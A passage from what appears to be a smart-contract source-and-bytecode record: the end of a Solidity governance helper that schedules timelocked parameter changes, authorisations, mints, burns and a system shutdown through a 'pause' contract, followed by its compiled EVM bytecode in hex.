abi.encodeWithSignature("removeAuthorization(address,address)", who, to),
earliestExecutionTime
);
}
function addAuthorization(address pause, address actions, address who, address to, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("addAuthorization(address,address)", who, to),
earliestExecutionTime
);
}
function updateRedemptionRate(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("updateRedemptionRate(address,bytes32,uint256)", who, parameter, data),
earliestExecutionTime
);
}
function updateRateAndModifyParameters(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("updateRateAndModifyParameters(address,bytes32,uint256)", who, parameter, data),
earliestExecutionTime
);
}
function taxSingleAndModifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, uint data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("taxSingleAndModifyParameters(address,bytes32,bytes32,uint256)", who, collateralType, parameter, data),
earliestExecutionTime
);
}
function setTotalAllowance(address pause, address actions, address who, address account, uint rad, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("setTotalAllowance(address,address,uint256)", who, account, rad),
earliestExecutionTime
);
}
function setPerBlockAllowance(address pause, address actions, address who, address account, uint rad, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("setPerBlockAllowance(address,address,uint256)", who, account, rad),
earliestExecutionTime
);
}
function setAuthorityAndDelay(address pause, address actions, address newAuthority, uint newDelay, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("setAuthorityAndDelay(address,address,uint256)", pause, newAuthority, newDelay),
earliestExecutionTime
);
}
function shutdownSystem(address pause, address actions, address globalSettlement, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("shutdownSystem(address)", globalSettlement),
earliestExecutionTime
);
}
function setDelay(address pause, address actions, uint newDelay, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("setDelay(address,uint256)", pause, newDelay),
earliestExecutionTime
);
}
function setAllowance(address pause, address actions, address join, address account, uint allowance, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("setAllowance(address,address,uint256)", join, account, allowance),
earliestExecutionTime
);
}
function mint(address pause, address actions, address token, address to, uint value, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("mint(address,address,uint256)", token, to, value),
earliestExecutionTime
);
}
function burn(address pause, address actions, address token, address from, uint value, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("burn(address,address,uint256)", token, from, value),
earliestExecutionTime
);
}
}
|
0x608060405234801561001057600080fd5b50600436106102055760003560e01c80636f997dff1161011a578063a22e7b76116100ad578063cc1ab9aa1161007c578063cc1ab9aa146115f9578063dded7ce9146116bb578063f54f5e6d14611769578063fbdc5eb714611801578063feddd947146118af57610205565b8063a22e7b76146112e6578063a34b4af514611394578063ae2c8d3c14611456578063b25065691461150e57610205565b806388cd9c0b116100e957806388cd9c0b146110345780638a8cde61146110e05780638df404691461118257806391e700aa1461122e57610205565b80636f997dff14610dd657806370ca845714610e4e57806381ac199514610efa57806382dbc68414610f9257610205565b8063488df87f1161019d5780635f9baa381161016c5780635f9baa3814610a8857806362edcae814610b40578063649d4a4814610bce57806364a1d05914610ca65780636a4eeb3a14610d3457610205565b8063488df87f146107d45780634f30f09e146108825780635b84f05e1461093a5780635ce5991d146109e657610205565b80631da85a97116101d95780631da85a9714610509578063208db12f146105b75780632437ed341461066f5780634708ba4a1461073c57610205565b80624208831461020a578063116b2f7f146102cc578063182cd701146103a35780631d7e321414610451575b600080fd5b6102ca600480360360e081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061195d565b005b6103a160048036036101208110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611b7e565b005b61044f600480360360a08110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611db1565b005b610507600480360360c081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611fc0565b005b6105b5600480360360a081101561051f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d8565b005b61066d600480360360c08110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123e7565b005b61073a600480360361010081101561068657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506125ff565b005b6107d2600480360360a081101561075257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612829565b005b610880600480360360a08110156107ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a0c565b005b610938600480360360c081101561089857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612c1b565b005b6109e4600480360360e081101561095057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612e33565b005b610a86600480360360c08110156109fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050613028565b005b610b3e600480360360c0811015610a9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613214565b005b610bcc60048036036080811015610b5657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061342c565b005b610ca4600480360360e0811015610be457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613606565b005b610d3260048036036080811015610cbc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613853565b005b610dd4600480360360c0811015610d4a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050613a2d565b005b610e4c60048036036080811015610dec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613c19565b005b610ef8600480360360e0811015610e6457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050613dfb565b005b610f90600480360360a0811015610f1057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613ff0565b005b611032600480360360c0811015610fa857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506141d3565b005b6110de600480360360e081101561104a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506143bf565b005b611180600480360360c08110156110f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506145b4565b005b61122c600480360360e081101561119857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506147a0565b005b6112e4600480360360c081101561124457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050614995565b005b611392600480360360a08110156112fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050614bad565b005b611454600480360360e08110156113aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050614dbc565b005b61150c600480360360c081101561146c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050614fdd565b005b6115f7600480360361016081101561152557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506151f5565b005b6116b9600480360360e081101561160f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061543a565b005b611767600480360360a08110156116d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061565b565b005b6117ff600480360360a081101561177f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061586a565b005b6118ad600480360360a081101561181757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050615a81565b005b61195b600480360360a08110156118c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050615c90565b005b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040527ffe71d56d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611b0d578082015181840152602081019050611af2565b50505050905090810190601f168015611b3a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611b5c57600080fd5b505af1158015611b70573d6000803e3d6000fd5b505050505050505050505050565b6000883f90508973ffffffffffffffffffffffffffffffffffffffff16637a0c53b28a838b8b8b8b8b8b604051602401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183815260200182815260200196505050505050506040516020818303038152906040527f6ea83dd3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611d3e578082015181840152602081019050611d23565b50505050905090810190601f168015611d6b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b5050505050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527fa27473c8000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611f51578082015181840152602081019050611f36565b50505050905090810190601f168015611f7e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611fa057600080fd5b505af1158015611fb4573d6000803e3d6000fd5b50505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527fda46098c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561216857808201518184015260208101905061214d565b50505050905090810190601f1680156121955780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156121b757600080fd5b505af11580156121cb573d6000803e3d6000fd5b5050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527f2b8e88b3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561237857808201518184015260208101905061235d565b50505050905090810190601f1680156123a55780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156123c757600080fd5b505af11580156123db573d6000803e3d6000fd5b50505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200193505050506040516020818303038152906040527f8eb0ee60000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561258f578082015181840152602081019050612574565b50505050905090810190601f1680156125bc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156125de57600080fd5b505af11580156125f2573d6000803e3d6000fd5b5050505050505050505050565b6000873f90508873ffffffffffffffffffffffffffffffffffffffff16637a0c53b289838a8a8a8a8a604051602401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001955050505050506040516020818303038152906040527f671384fa000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156127b757808201518184015260208101905061279c565b50505050905090810190601f1680156127e45780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561280657600080fd5b505af115801561281a573d6000803e3d6000fd5b50505050505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fb66503cf000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561299d578082015181840152602081019050612982565b50505050905090810190601f1680156129ca5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156129ec57600080fd5b505af1158015612a00573d6000803e3d6000fd5b50505050505050505050565b6000843f90508573ffffffffffffffffffffffffffffffffffffffff16637a0c53b286838787604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040516020818303038152906040527f5622b051000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612bac578082015181840152602081019050612b91565b50505050905090810190601f168015612bd95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612bfb57600080fd5b505af1158015612c0f573d6000803e3d6000fd5b50505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527fc6c3bbe6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612dc3578082015181840152602081019050612da8565b50505050905090810190601f168015612df05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612e1257600080fd5b505af1158015612e26573d6000803e3d6000fd5b5050505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019450505050506040516020818303038152906040527ff35a75e0000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612fb7578082015181840152602081019050612f9c565b50505050905090810190601f168015612fe45780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561300657600080fd5b505af115801561301a573d6000803e3d6000fd5b505050505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200193505050506040516020818303038152906040527f66892430000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156131a4578082015181840152602081019050613189565b50505050905090810190601f1680156131d15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156131f357600080fd5b505af1158015613207573d6000803e3d6000fd5b5050505050505050505050565b6000853f90508673ffffffffffffffffffffffffffffffffffffffff16637a0c53b28783888888604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527ff6b911bc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156133bc5780820151818401526020810190506133a1565b50505050905090810190601f1680156133e95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561340b57600080fd5b505af115801561341f573d6000803e3d6000fd5b5050505050505050505050565b6000833f90508473ffffffffffffffffffffffffffffffffffffffff16637a0c53b2858386604051602401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527fdd0b281e000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561359857808201518184015260208101905061357d565b50505050905090810190601f1680156135c55780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156135e757600080fd5b505af11580156135fb573d6000803e3d6000fd5b505050505050505050565b6000863f90508773ffffffffffffffffffffffffffffffffffffffff16637a0c53b2888389898989604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019450505050506040516020818303038152906040527f764838c5000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156137e25780820151818401526020810190506137c7565b50505050905090810190601f16801561380f5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561383157600080fd5b505af1158015613845573d6000803e3d6000fd5b505050505050505050505050565b6000833f90508473ffffffffffffffffffffffffffffffffffffffff16637a0c53b2858386604051602401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527f3013f41e000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156139bf5780820151818401526020810190506139a4565b50505050905090810190601f1680156139ec5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015613a0e57600080fd5b505af1158015613a22573d6000803e3d6000fd5b505050505050505050565b